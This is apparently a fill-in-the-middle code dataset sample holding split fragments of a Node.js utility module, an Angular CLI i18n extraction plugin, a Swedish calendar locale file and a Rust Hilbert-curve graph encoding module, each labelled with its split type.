TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ "use strict"; var moment = require('moment'); var log = require('../util/logging'); var _ = require('lodash'); exports.getCurrentTimeString = function () { var now = moment().format(); return now.replace(/\..+/, '').replace(/\-/g, '').replace(/\:/g, '').replace(/T/, '-').substr(0,15); }; /* refer to : http://stackoverflow.com/questions/3653065/get-local-ip-address-in-node-js */ exports.getLocalIPAddress = function(){ var interfaces = require('os').networkInterfaces(); for (var devName in interfaces) { var iface = interfaces[devName]; for (var i = 0; i < iface.length; i++) { var alias = iface[i]; if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) return alias.address; } } return '0.0.0.0'; }; exports.getCliOptions = function() { var options = {}; _(process.argv).forEach(function(item){ var option = item.split('='); if(isValidCliOption(option)){ option[0] = _.trim(option[0]) var key = option[0].substr(1, (option[0].length-1)); options[key] = _.trim(option[1]); } }).value(); return { options: options, getValue: function (key, defaultValue){ if(!key || _.trim(key).length === 0)
var _key = _.trim(key); if(this.options[_key]){ return this.options[_key]; } else if(defaultValue){ this.options[_key] = defaultValue; return defaultValue; } else { return undefined; } } }; }; function isValidCliOption(option){ if(_.isArray(option) === false || option.length !== 2) return false; var key = _.trim(option[0]); var value = _.trim(option[1]); if(key.length < 2) return false; if(value.length < 1) return false; return key.startsWith('-'); }
{ return undefined; }
conditional_block
extract_i18n_plugin.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // @ignoreDep @angular/compiler-cli const ts = require("typescript"); const path = require("path"); const fs = require("fs"); const { __NGTOOLS_PRIVATE_API_2, VERSION } = require('@angular/compiler-cli'); const resource_loader_1 = require("./resource_loader"); class ExtractI18nPlugin { constructor(options) { this._compiler = null; this._compilation = null; this._compilerOptions = null; this._angularCompilerOptions = null; this._setupOptions(options); } _setupOptions(options) { if (!options.hasOwnProperty('tsConfigPath')) { throw new Error('Must specify "tsConfigPath" in the configuration of @ngtools/webpack.'); } // TS represents paths internally with '/' and expects the tsconfig path to be in this format this._tsConfigPath = options.tsConfigPath.replace(/\\/g, '/'); // Check the base path. const maybeBasePath = path.resolve(process.cwd(), this._tsConfigPath); let basePath = maybeBasePath; if (fs.statSync(maybeBasePath).isFile()) { basePath = path.dirname(basePath); } if (options.hasOwnProperty('basePath')) { basePath = path.resolve(process.cwd(), options.basePath); } let tsConfigJson = null; try { tsConfigJson = JSON.parse(fs.readFileSync(this._tsConfigPath, 'utf8')); } catch (err) { throw new Error(`An error happened while parsing ${this._tsConfigPath} JSON: ${err}.`); } const tsConfig = ts.parseJsonConfigFileContent(tsConfigJson, ts.sys, basePath, null, this._tsConfigPath); let fileNames = tsConfig.fileNames; if (options.hasOwnProperty('exclude')) { let exclude = typeof options.exclude == 'string' ? [options.exclude] : options.exclude; exclude.forEach((pattern) => { const basePathPattern = '(' + basePath.replace(/\\/g, '/') .replace(/[\-\[\]\/{}()+?.\\^$|*]/g, '\\$&') + ')?'; pattern = pattern .replace(/\\/g, '/') .replace(/[\-\[\]{}()+?.\\^$|]/g, '\\$&') .replace(/\*\*/g, '(?:.*)') .replace(/\*/g, '(?:[^/]*)') .replace(/^/, basePathPattern); const re = new RegExp('^' + pattern + '$'); fileNames = fileNames.filter(x => !x.replace(/\\/g, '/').match(re)); }); } else { fileNames = fileNames.filter(fileName => !/\.spec\.ts$/.test(fileName)); } this._rootFilePath = fileNames; // By default messages will be generated in basePath let genDir = basePath; if (options.hasOwnProperty('genDir')) { genDir = path.resolve(process.cwd(), options.genDir); } this._compilerOptions = tsConfig.options; this._angularCompilerOptions = Object.assign({ genDir }, this._compilerOptions, tsConfig.raw['angularCompilerOptions'], { basePath }); this._basePath = basePath; this._genDir = genDir; // this._compilerHost = new WebpackCompilerHost(this._compilerOptions, this._basePath); this._compilerHost = ts.createCompilerHost(this._compilerOptions, true); this._program = ts.createProgram(this._rootFilePath, this._compilerOptions, this._compilerHost); if (options.hasOwnProperty('i18nFormat')) { this._i18nFormat = options.i18nFormat; } if (options.hasOwnProperty('locale')) { if (VERSION.major === '2') { console.warn("The option '--locale' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n'); } this._locale = options.locale; } if (options.hasOwnProperty('outFile')) { if (VERSION.major === '2') { console.warn("The option '--out-file' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n'); } this._outFile = options.outFile; } }
(compiler) { this._compiler = compiler; compiler.plugin('make', (compilation, cb) => this._make(compilation, cb)); compiler.plugin('after-emit', (compilation, cb) => { this._donePromise = null; this._compilation = null; compilation._ngToolsWebpackXi18nPluginInstance = null; cb(); }); } _make(compilation, cb) { this._compilation = compilation; if (this._compilation._ngToolsWebpackXi18nPluginInstance) { return cb(new Error('An @ngtools/webpack xi18n plugin already exist for ' + 'this compilation.')); } if (!this._compilation._ngToolsWebpackPluginInstance) { return cb(new Error('An @ngtools/webpack aot plugin does not exists ' + 'for this compilation')); } this._compilation._ngToolsWebpackXi18nPluginInstance = this; this._resourceLoader = new resource_loader_1.WebpackResourceLoader(compilation); this._donePromise = Promise.resolve() .then(() => { return __NGTOOLS_PRIVATE_API_2.extractI18n({ basePath: this._basePath, compilerOptions: this._compilerOptions, program: this._program, host: this._compilerHost, angularCompilerOptions: this._angularCompilerOptions, i18nFormat: this._i18nFormat, locale: this._locale, outFile: this._outFile, readResource: (path) => this._resourceLoader.get(path) }); }) .then(() => cb(), (err) => { this._compilation.errors.push(err); cb(err); }); } } exports.ExtractI18nPlugin = ExtractI18nPlugin; //# sourceMappingURL=/users/mikkeldamm/forked-repos/angular-cli/src/extract_i18n_plugin.js.map
apply
identifier_name
extract_i18n_plugin.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // @ignoreDep @angular/compiler-cli const ts = require("typescript"); const path = require("path"); const fs = require("fs"); const { __NGTOOLS_PRIVATE_API_2, VERSION } = require('@angular/compiler-cli'); const resource_loader_1 = require("./resource_loader"); class ExtractI18nPlugin { constructor(options) { this._compiler = null; this._compilation = null; this._compilerOptions = null; this._angularCompilerOptions = null; this._setupOptions(options); } _setupOptions(options) { if (!options.hasOwnProperty('tsConfigPath')) { throw new Error('Must specify "tsConfigPath" in the configuration of @ngtools/webpack.'); } // TS represents paths internally with '/' and expects the tsconfig path to be in this format this._tsConfigPath = options.tsConfigPath.replace(/\\/g, '/'); // Check the base path. const maybeBasePath = path.resolve(process.cwd(), this._tsConfigPath); let basePath = maybeBasePath; if (fs.statSync(maybeBasePath).isFile()) { basePath = path.dirname(basePath); } if (options.hasOwnProperty('basePath')) { basePath = path.resolve(process.cwd(), options.basePath); } let tsConfigJson = null; try { tsConfigJson = JSON.parse(fs.readFileSync(this._tsConfigPath, 'utf8')); } catch (err) { throw new Error(`An error happened while parsing ${this._tsConfigPath} JSON: ${err}.`); } const tsConfig = ts.parseJsonConfigFileContent(tsConfigJson, ts.sys, basePath, null, this._tsConfigPath); let fileNames = tsConfig.fileNames; if (options.hasOwnProperty('exclude')) { let exclude = typeof options.exclude == 'string' ? [options.exclude] : options.exclude; exclude.forEach((pattern) => { const basePathPattern = '(' + basePath.replace(/\\/g, '/') .replace(/[\-\[\]\/{}()+?.\\^$|*]/g, '\\$&') + ')?'; pattern = pattern .replace(/\\/g, '/') .replace(/[\-\[\]{}()+?.\\^$|]/g, '\\$&') .replace(/\*\*/g, '(?:.*)') .replace(/\*/g, '(?:[^/]*)') .replace(/^/, basePathPattern); const re = new RegExp('^' + pattern + '$'); fileNames = fileNames.filter(x => !x.replace(/\\/g, '/').match(re)); }); } else { fileNames = fileNames.filter(fileName => !/\.spec\.ts$/.test(fileName)); } this._rootFilePath = fileNames; // By default messages will be generated in basePath let genDir = basePath; if (options.hasOwnProperty('genDir')) { genDir = path.resolve(process.cwd(), options.genDir); } this._compilerOptions = tsConfig.options; this._angularCompilerOptions = Object.assign({ genDir }, this._compilerOptions, tsConfig.raw['angularCompilerOptions'], { basePath }); this._basePath = basePath; this._genDir = genDir; // this._compilerHost = new WebpackCompilerHost(this._compilerOptions, this._basePath); this._compilerHost = ts.createCompilerHost(this._compilerOptions, true); this._program = ts.createProgram(this._rootFilePath, this._compilerOptions, this._compilerHost); if (options.hasOwnProperty('i18nFormat')) { this._i18nFormat = options.i18nFormat; } if (options.hasOwnProperty('locale'))
if (options.hasOwnProperty('outFile')) { if (VERSION.major === '2') { console.warn("The option '--out-file' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n'); } this._outFile = options.outFile; } } apply(compiler) { this._compiler = compiler; compiler.plugin('make', (compilation, cb) => this._make(compilation, cb)); compiler.plugin('after-emit', (compilation, cb) => { this._donePromise = null; this._compilation = null; compilation._ngToolsWebpackXi18nPluginInstance = null; cb(); }); } _make(compilation, cb) { this._compilation = compilation; if (this._compilation._ngToolsWebpackXi18nPluginInstance) { return cb(new Error('An @ngtools/webpack xi18n plugin already exist for ' + 'this compilation.')); } if (!this._compilation._ngToolsWebpackPluginInstance) { return cb(new Error('An @ngtools/webpack aot plugin does not exists ' + 'for this compilation')); } this._compilation._ngToolsWebpackXi18nPluginInstance = this; this._resourceLoader = new resource_loader_1.WebpackResourceLoader(compilation); this._donePromise = Promise.resolve() .then(() => { return __NGTOOLS_PRIVATE_API_2.extractI18n({ basePath: this._basePath, compilerOptions: this._compilerOptions, program: this._program, host: this._compilerHost, angularCompilerOptions: this._angularCompilerOptions, i18nFormat: this._i18nFormat, locale: this._locale, outFile: this._outFile, readResource: (path) => this._resourceLoader.get(path) }); }) .then(() => cb(), (err) => { this._compilation.errors.push(err); cb(err); }); } } exports.ExtractI18nPlugin = ExtractI18nPlugin; //# sourceMappingURL=/users/mikkeldamm/forked-repos/angular-cli/src/extract_i18n_plugin.js.map
{ if (VERSION.major === '2') { console.warn("The option '--locale' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n'); } this._locale = options.locale; }
conditional_block
extract_i18n_plugin.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // @ignoreDep @angular/compiler-cli const ts = require("typescript"); const path = require("path"); const fs = require("fs"); const { __NGTOOLS_PRIVATE_API_2, VERSION } = require('@angular/compiler-cli'); const resource_loader_1 = require("./resource_loader"); class ExtractI18nPlugin { constructor(options) { this._compiler = null; this._compilation = null; this._compilerOptions = null; this._angularCompilerOptions = null; this._setupOptions(options); } _setupOptions(options) { if (!options.hasOwnProperty('tsConfigPath')) { throw new Error('Must specify "tsConfigPath" in the configuration of @ngtools/webpack.'); } // TS represents paths internally with '/' and expects the tsconfig path to be in this format this._tsConfigPath = options.tsConfigPath.replace(/\\/g, '/'); // Check the base path. const maybeBasePath = path.resolve(process.cwd(), this._tsConfigPath); let basePath = maybeBasePath; if (fs.statSync(maybeBasePath).isFile()) { basePath = path.dirname(basePath); } if (options.hasOwnProperty('basePath')) { basePath = path.resolve(process.cwd(), options.basePath); } let tsConfigJson = null; try { tsConfigJson = JSON.parse(fs.readFileSync(this._tsConfigPath, 'utf8')); } catch (err) { throw new Error(`An error happened while parsing ${this._tsConfigPath} JSON: ${err}.`); } const tsConfig = ts.parseJsonConfigFileContent(tsConfigJson, ts.sys, basePath, null, this._tsConfigPath); let fileNames = tsConfig.fileNames; if (options.hasOwnProperty('exclude')) { let exclude = typeof options.exclude == 'string' ? [options.exclude] : options.exclude; exclude.forEach((pattern) => { const basePathPattern = '(' + basePath.replace(/\\/g, '/') .replace(/[\-\[\]\/{}()+?.\\^$|*]/g, '\\$&') + ')?'; pattern = pattern .replace(/\\/g, '/') .replace(/[\-\[\]{}()+?.\\^$|]/g, '\\$&') .replace(/\*\*/g, '(?:.*)') .replace(/\*/g, '(?:[^/]*)') .replace(/^/, basePathPattern); const re = new RegExp('^' + pattern + '$'); fileNames = fileNames.filter(x => !x.replace(/\\/g, '/').match(re)); }); } else { fileNames = fileNames.filter(fileName => !/\.spec\.ts$/.test(fileName)); } this._rootFilePath = fileNames; // By default messages will be generated in basePath let genDir = basePath; if (options.hasOwnProperty('genDir')) { genDir = path.resolve(process.cwd(), options.genDir); } this._compilerOptions = tsConfig.options; this._angularCompilerOptions = Object.assign({ genDir }, this._compilerOptions, tsConfig.raw['angularCompilerOptions'], { basePath }); this._basePath = basePath; this._genDir = genDir; // this._compilerHost = new WebpackCompilerHost(this._compilerOptions, this._basePath); this._compilerHost = ts.createCompilerHost(this._compilerOptions, true); this._program = ts.createProgram(this._rootFilePath, this._compilerOptions, this._compilerHost); if (options.hasOwnProperty('i18nFormat')) { this._i18nFormat = options.i18nFormat; } if (options.hasOwnProperty('locale')) { if (VERSION.major === '2') { console.warn("The option '--locale' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n'); } this._locale = options.locale; } if (options.hasOwnProperty('outFile')) { if (VERSION.major === '2') { console.warn("The option '--out-file' is only available on the xi18n command" + ' starting from Angular v4, please update to a newer version.', '\n\n');
} this._outFile = options.outFile; } } apply(compiler) { this._compiler = compiler; compiler.plugin('make', (compilation, cb) => this._make(compilation, cb)); compiler.plugin('after-emit', (compilation, cb) => { this._donePromise = null; this._compilation = null; compilation._ngToolsWebpackXi18nPluginInstance = null; cb(); }); } _make(compilation, cb) { this._compilation = compilation; if (this._compilation._ngToolsWebpackXi18nPluginInstance) { return cb(new Error('An @ngtools/webpack xi18n plugin already exist for ' + 'this compilation.')); } if (!this._compilation._ngToolsWebpackPluginInstance) { return cb(new Error('An @ngtools/webpack aot plugin does not exists ' + 'for this compilation')); } this._compilation._ngToolsWebpackXi18nPluginInstance = this; this._resourceLoader = new resource_loader_1.WebpackResourceLoader(compilation); this._donePromise = Promise.resolve() .then(() => { return __NGTOOLS_PRIVATE_API_2.extractI18n({ basePath: this._basePath, compilerOptions: this._compilerOptions, program: this._program, host: this._compilerHost, angularCompilerOptions: this._angularCompilerOptions, i18nFormat: this._i18nFormat, locale: this._locale, outFile: this._outFile, readResource: (path) => this._resourceLoader.get(path) }); }) .then(() => cb(), (err) => { this._compilation.errors.push(err); cb(err); }); } } exports.ExtractI18nPlugin = ExtractI18nPlugin; //# sourceMappingURL=/users/mikkeldamm/forked-repos/angular-cli/src/extract_i18n_plugin.js.map
random_line_split
calendar-sw.js
// ** I18N Calendar._DN = new Array ("Söndag", "Måndag", "Tisdag", "Onsdag", "Torsdag", "Fredag", "Lördag", "Söndag"); Calendar._MN = new Array ("Januari", "Februari", "Mars", "April", "Maj", "Juni", "Juli", "Augusti", "September", "Oktober", "November", "December"); // tooltips Calendar._TT = {};
Calendar._TT["NEXT_YEAR"] = "Nästa år (tryck för meny)"; Calendar._TT["SEL_DATE"] = "Välj dag"; Calendar._TT["DRAG_TO_MOVE"] = "Flytta fönstret"; Calendar._TT["PART_TODAY"] = " (idag)"; Calendar._TT["MON_FIRST"] = "Visa Måndag först"; Calendar._TT["SUN_FIRST"] = "Visa Söndag först"; Calendar._TT["CLOSE"] = "Stäng fönstret"; Calendar._TT["TODAY"] = "Idag"; // date formats Calendar._TT["DEF_DATE_FORMAT"] = "y-mm-dd"; Calendar._TT["TT_DATE_FORMAT"] = "DD, d MM y"; Calendar._TT["WK"] = "wk";
Calendar._TT["TOGGLE"] = "Skifta första veckodag"; Calendar._TT["PREV_YEAR"] = "Förra året (tryck för meny)"; Calendar._TT["PREV_MONTH"] = "Förra månaden (tryck för meny)"; Calendar._TT["GO_TODAY"] = "Gå till dagens datum"; Calendar._TT["NEXT_MONTH"] = "Nästa månad (tryck för meny)";
random_line_split
hilbert_curve.rs
use std::io::{Read, Write}; use std::collections::HashMap; use graph_iterator::EdgeMapper; use byteorder::{ReadBytesExt, WriteBytesExt};
pub fn encode<W: Write>(writer: &mut W, diff: u64) { assert!(diff > 0); for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8(0u8).ok().expect("write error"); } } for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8((diff >> shift) as u8).ok().expect("write error"); } } writer.write_u8(diff as u8).ok().expect("write error"); } #[inline] pub fn decode<R: Read>(reader: &mut R) -> Option<u64> { if let Ok(mut read) = reader.read_u8() { let mut count = 0u64; while read == 0 { count += 1; read = reader.read_u8().unwrap(); } let mut diff = read as u64; for _ in 0..count { diff = (diff << 8) + (reader.read_u8().unwrap() as u64); } Some(diff) } else { None } } #[test] fn test_encode_decode() { let test_vec = vec![1, 2, 1 << 20, 1 << 60]; let mut writer = Vec::new(); for &elt in test_vec.iter() { encode(&mut writer, elt); } let mut test_out = Vec::new(); let mut reader = &writer[..]; while let Some(elt) = decode(&mut reader) { test_out.push(elt); } assert_eq!(test_vec, test_out); } pub struct Decoder<R: Read> { reader: R, current: u64, } impl<R: Read> Decoder<R> { pub fn new(reader: R) -> Decoder<R> { Decoder { reader: reader, current: 0 } } } impl<R: Read> Iterator for Decoder<R> { type Item = u64; fn next(&mut self) -> Option<u64> { if let Some(diff) = decode(&mut self.reader) { assert!(self.current < self.current + diff); self.current += diff; Some(self.current) } else { None } } } pub fn to_hilbert<I, O>(graph: &I, mut output: O) -> () where I : EdgeMapper, O : FnMut(u64)->(), { let hilbert = BytewiseHilbert::new(); let mut buffer = Vec::new(); graph.map_edges(|node, edge| { buffer.push(hilbert.entangle((node, edge))); }); buffer.sort(); for &element in buffer.iter() { output(element); } } pub fn convert_to_hilbert<I, O>(graph: &I, make_dense: bool, mut output: O) -> () where I : EdgeMapper, O : FnMut(u16, u16, u32, &Vec<(u16, u16)>) -> (), { let mut uppers: HashMap<u32,Vec<u32>> = HashMap::new(); let mut names = Vec::new(); let mut names_count = 0i32; let hilbert = BytewiseHilbert::new(); graph.map_edges(|mut node, mut edge| { if make_dense { while names.len() as u32 <= node { names.push(-1i32); } while names.len() as u32 <= edge { names.push(-1i32); } if names[node as usize] == -1i32 { names[node as usize] = names_count; names_count += 1; } if names[edge as usize] == -1i32 { names[edge as usize] = names_count; names_count += 1; } node = names[node as usize] as u32; edge = names[edge as usize] as u32; } let entangled = hilbert.entangle((node as u32, edge as u32)); let upper = (entangled >> 32) as u32; let lower = entangled as u32; uppers.entry(upper).or_insert(Vec::new()).push(lower); }); let mut keys: Vec<u32> = uppers.keys().map(|x|x.clone()).collect(); keys.sort(); let mut temp = Vec::new(); for &upper in keys.iter() { let mut lowers = uppers.remove(&upper).unwrap(); if lowers.len() > 0 { let upair = hilbert.detangle((upper as u64) << 32); let upperx = (upair.0 >> 16) as u16; let uppery = (upair.1 >> 16) as u16; let length = lowers.len() as u32; lowers.sort(); // TODO : Check Radix sort perf temp.clear(); for &lower in lowers.iter() { let lpair = hilbert.detangle(((upper as u64) << 32) + (lower as u64)); let lowerx = (lpair.0 & 65535u32) as u16; let lowery = (lpair.1 & 65535u32) as u16; temp.push((lowerx, lowery)); } output(upperx, uppery, length, &temp); } } } pub fn merge<I: Iterator<Item=u64>, O: FnMut(u64)->()>(mut iterators: Vec<I>, mut output: O) { let mut values = Vec::new(); for iterator in iterators.iter_mut() { values.push(iterator.next()); } let mut val_old = 0; let mut done = false; while !done { let mut arg_min = iterators.len(); let mut val_min = 0u64; for (index, &value) in values.iter().enumerate() { if let Some(val) = value { if arg_min > index || val < val_min { arg_min = index; val_min = val; // done = false; } } } if arg_min < iterators.len() { values[arg_min] = iterators[arg_min].next(); if let Some(val) = values[arg_min] { assert!(val > val_min); } assert!(val_old <= val_min); val_old = val_min; output(val_min); } else { done = true; } } // confirm that we haven't left anything behind assert!(!values.iter().any(|x|x.is_some())); } // algorithm drawn in large part from http://en.wikipedia.org/wiki/Hilbert_curve // bytewise implementation based on tracking cumulative rotation / mirroring. pub struct BytewiseCached { hilbert: BytewiseHilbert, prev_hi: u64, prev_out: (u32, u32), prev_rot: (bool, bool), } impl BytewiseCached { #[inline(always)] pub fn detangle(&mut self, tangle: u64) -> (u32, u32) { let (mut x_byte, mut y_byte) = unsafe { *self.hilbert.detangle.get_unchecked(tangle as u16 as usize) }; // validate self.prev_rot, self.prev_out if self.prev_hi != (tangle >> 16) { self.prev_hi = tangle >> 16; // detangle with a bit set to see what happens to it let low = 255; //self.hilbert.entangle((0xF, 0)) as u16; let (x, y) = self.hilbert.detangle((self.prev_hi << 16) + low as u64); let value = (x as u8, y as u8); self.prev_rot = match value { (0x0F, 0x00) => (false, false), // nothing (0x00, 0x0F) => (true, false), // swapped (0xF0, 0xFF) => (false, true), // flipped (0xFF, 0xF0) => (true, true), // flipped & swapped val => panic!(format!("Found : ({:x}, {:x})", val.0, val.1)), }; self.prev_out = (x & 0xFFFFFF00, y & 0xFFFFFF00); } if self.prev_rot.1 { x_byte = 255 - x_byte; y_byte = 255 - y_byte; } if self.prev_rot.0 { let temp = x_byte; x_byte = y_byte; y_byte = temp; } return (self.prev_out.0 + x_byte as u32, self.prev_out.1 + y_byte as u32); } pub fn new() -> BytewiseCached { let mut result = BytewiseCached { hilbert: BytewiseHilbert::new(), prev_hi: 0xFFFFFFFFFFFFFFFF, prev_out: (0,0), prev_rot: (false, false), }; result.detangle(0); // ensures that we set the cached stuff correctly return result; } } pub struct BytewiseHilbert { entangle: Vec<u16>, // entangle[x_byte << 16 + y_byte] -> tangle detangle: Vec<(u8, u8)>, // detangle[tangle] -> (x_byte, y_byte) rotation: Vec<u8>, // info on rotation, keyed per self.entangle } impl BytewiseHilbert { pub fn new() -> BytewiseHilbert { let mut entangle = Vec::new(); let mut detangle: Vec<_> = (0..65536).map(|_| (0u8, 0u8)).collect(); let mut rotation = Vec::new(); for x in 0u32..256 { for y in 0u32..256 { let entangled = bit_entangle(((x << 24), (y << 24) + (1 << 23))); entangle.push((entangled >> 48) as u16); detangle[(entangled >> 48) as usize] = (x as u8, y as u8); rotation.push(((entangled >> 44) & 0x0F) as u8); // note to self: math is hard. // rotation decode: lsbs // 0100 -N--> 0100 --> 0100 // 0100 -S--> 1000 --> 1110 // 0100 -F--> 1011 --> 1100 // 0100 -FS-> 0111 --> 0110 } } return BytewiseHilbert {entangle: entangle, detangle: detangle, rotation: rotation}; } pub fn entangle(&self, (mut x, mut y): (u32, u32)) -> u64 { let init_x = x; let init_y = y; let mut result = 0u64; for i in 0..4 { let x_byte = (x >> (24 - (8 * i))) as u8; let y_byte = (y >> (24 - (8 * i))) as u8; result = (result << 16) + self.entangle[(((x_byte as u16) << 8) + y_byte as u16) as usize] as u64; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if (rotation & 0x2) > 0 { let temp = x; x = y; y = temp; } if rotation == 12 || rotation == 6 { x = 0xFFFFFFFF - x; y = 0xFFFFFFFF - y } } debug_assert!(bit_entangle((init_x, init_y)) == result); return result; } #[inline(always)] pub fn detangle(&self, tangle: u64) -> (u32, u32) { let init_tangle = tangle; let mut result = (0u32, 0u32); for log_s in 0u32..4 { let shifted = (tangle >> (16 * log_s)) as u16; let (x_byte, y_byte) = self.detangle[shifted as usize]; let rotation = self.rotation[(((x_byte as u16) << 8) + y_byte as u16) as usize]; if rotation == 12 || rotation == 6 { result.0 = (1 << 8 * log_s) - result.0 - 1; result.1 = (1 << 8 * log_s) - result.1 - 1; } if (rotation & 0x2) > 0 { let temp = result.0; result.0 = result.1; result.1 = temp; } result.0 += (x_byte as u32) << (8 * log_s); result.1 += (y_byte as u32) << (8 * log_s); } debug_assert!(bit_detangle(init_tangle) == result); return result; } } fn bit_entangle(mut pair: (u32, u32)) -> u64 { let mut result = 0u64; for log_s_rev in 0..32 { let log_s = 31 - log_s_rev; let rx = (pair.0 >> log_s) & 1u32; let ry = (pair.1 >> log_s) & 1u32; result += (((3 * rx) ^ ry) as u64) << (2 * log_s); pair = bit_rotate(log_s, pair, rx, ry); } return result; } fn bit_detangle(tangle: u64) -> (u32, u32) { let mut result = (0u32, 0u32); for log_s in 0..32 { let shifted = ((tangle >> (2 * log_s)) & 3u64) as u32; let rx = (shifted >> 1) & 1u32; let ry = (shifted ^ rx) & 1u32; result = bit_rotate(log_s, result, rx, ry); result = (result.0 + (rx << log_s), result.1 + (ry << log_s)); } return result; } fn bit_rotate(logn: usize, pair: (u32, u32), rx: u32, ry: u32) -> (u32, u32) { if ry == 0 { if rx != 0 { ((1 << logn) - pair.1 - 1, (1 << logn) - pair.0 - 1) } else { (pair.1, pair.0) } } else { pair } }
#[inline]
random_line_split
hilbert_curve.rs
use std::io::{Read, Write}; use std::collections::HashMap; use graph_iterator::EdgeMapper; use byteorder::{ReadBytesExt, WriteBytesExt}; #[inline] pub fn encode<W: Write>(writer: &mut W, diff: u64) { assert!(diff > 0); for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8(0u8).ok().expect("write error"); } } for &shift in [56, 48, 40, 32, 24, 16, 8].iter() { if (diff >> shift) != 0 { writer.write_u8((diff >> shift) as u8).ok().expect("write error"); } } writer.write_u8(diff as u8).ok().expect("write error"); } #[inline] pub fn decode<R: Read>(reader: &mut R) -> Option<u64> { if let Ok(mut read) = reader.read_u8() { let mut count = 0u64; while read == 0 { count += 1; read = reader.read_u8().unwrap(); } let mut diff = read as u64; for _ in 0..count { diff = (diff << 8) + (reader.read_u8().unwrap() as u64); } Some(diff) } else { None } } #[test] fn test_encode_decode() { let test_vec = vec![1, 2, 1 << 20, 1 << 60]; let mut writer = Vec::new(); for &elt in test_vec.iter() { encode(&mut writer, elt); } let mut test_out = Vec::new(); let mut reader = &writer[..]; while let Some(elt) = decode(&mut reader) { test_out.push(elt); } assert_eq!(test_vec, test_out); } pub struct Decoder<R: Read> { reader: R, current: u64, } impl<R: Read> Decoder<R> { pub fn new(reader: R) -> Decoder<R> { Decoder { reader: reader, current: 0 } } } impl<R: Read> Iterator for Decoder<R> { type Item = u64; fn next(&mut self) -> Option<u64> { if let Some(diff) = decode(&mut self.reader) { assert!(self.current < self.current + diff); self.current += diff; Some(self.current) } else { None } } } pub fn to_hilbert<I, O>(graph: &I, mut output: O) -> () where I : EdgeMapper, O : FnMut(u64)->(), { let hilbert = BytewiseHilbert::new(); let mut buffer = Vec::new(); graph.map_edges(|node, edge| { buffer.push(hilbert.entangle((node, edge))); }); buffer.sort(); for &element in buffer.iter() { output(element); } } pub fn convert_to_hilbert<I, O>(graph: &I, make_dense: bool, mut output: O) -> () where I : EdgeMapper, O : FnMut(u16, u16, u32, &Vec<(u16, u16)>) -> (), { let mut uppers: HashMap<u32,Vec<u32>> = HashMap::new(); let mut names = Vec::new(); let mut names_count = 0i32; let hilbert = BytewiseHilbert::new(); graph.map_edges(|mut node, mut edge| { if make_dense { while names.len() as u32 <= node { names.push(-1i32); } while names.len() as u32 <= edge { names.push(-1i32); } if names[node as usize] == -1i32 { names[node as usize] = names_count; names_count += 1; } if names[edge as usize] == -1i32 { names[edge as usize] = names_count; names_count += 1; } node = names[node as usize] as u32; edge = names[edge as usize] as u32; } let entangled = hilbert.entangle((node as u32, edge as u32)); let upper = (entangled >> 32) as u32; let lower = entangled as u32; uppers.entry(upper).or_insert(Vec::new()).push(lower); }); let mut keys: Vec<u32> = uppers.keys().map(|x|x.clone()).collect(); keys.sort(); let mut temp = Vec::new(); for &upper in keys.iter() { let mut lowers = uppers.remove(&upper).unwrap(); if lowers.len() > 0 { let upair = hilbert.detangle((upper as u64) << 32); let upperx = (upair.0 >> 16) as u16; let uppery = (upair.1 >> 16) as u16; let length = lowers.len() as u32; lowers.sort(); // TODO : Check Radix sort perf temp.clear(); for &lower in lowers.iter() { let lpair = hilbert.detangle(((upper as u64) << 32) + (lower as u64)); let lowerx = (lpair.0 & 65535u32) as u16; let lowery = (lpair.1 & 65535u32) as u16; temp.push((lowerx, lowery)); } output(upperx, uppery, length, &temp); } } } pub fn merge<I: Iterator<Item=u64>, O: FnMut(u64)->()>(mut iterators: Vec<I>, mut output: O) { let mut values = Vec::new(); for iterator in iterators.iter_mut() { values.push(iterator.next()); } let mut val_old = 0; let mut done = false; while !done { let mut arg_min = iterators.len(); let mut val_min = 0u64; for (index, &value) in values.iter().enumerate() { if let Some(val) = value { if arg_min > index || val < val_min { arg_min = index; val_min = val; // done = false; } } } if arg_min < iterators.len() { values[arg_min] = iterators[arg_min].next(); if let Some(val) = values[arg_min] { assert!(val > val_min); } assert!(val_old <= val_min); val_old = val_min; output(val_min); } else { done = true; } } // confirm that we haven't left anything behind assert!(!values.iter().any(|x|x.is_some())); } // algorithm drawn in large part from http://en.wikipedia.org/wiki/Hilbert_curve // bytewise implementation based on tracking cumulative rotation / mirroring. pub struct BytewiseCached { hilbert: BytewiseHilbert, prev_hi: u64, prev_out: (u32, u32), prev_rot: (bool, bool), } impl BytewiseCached { #[inline(always)] pub fn detangle(&mut self, tangle: u64) -> (u32, u32) { let (mut x_byte, mut y_byte) = unsafe { *self.hilbert.detangle.get_unchecked(tangle as u16 as usize) }; // validate self.prev_rot, self.prev_out if self.prev_hi != (tangle >> 16) { self.prev_hi = tangle >> 16; // detangle with a bit set to see what happens to it let low = 255; //self.hilbert.entangle((0xF, 0)) as u16; let (x, y) = self.hilbert.detangle((self.prev_hi << 16) + low as u64); let value = (x as u8, y as u8); self.prev_rot = match value { (0x0F, 0x00) => (false, false), // nothing (0x00, 0x0F) => (true, false), // swapped (0xF0, 0xFF) => (false, true), // flipped (0xFF, 0xF0) => (true, true), // flipped & swapped val => panic!(format!("Found : ({:x}, {:x})", val.0, val.1)), }; self.prev_out = (x & 0xFFFFFF00, y & 0xFFFFFF00); } if self.prev_rot.1 { x_byte = 255 - x_byte; y_byte = 255 - y_byte; } if self.prev_rot.0 { let temp = x_byte; x_byte = y_byte; y_byte = temp; } return (self.prev_out.0 + x_byte as u32, self.prev_out.1 + 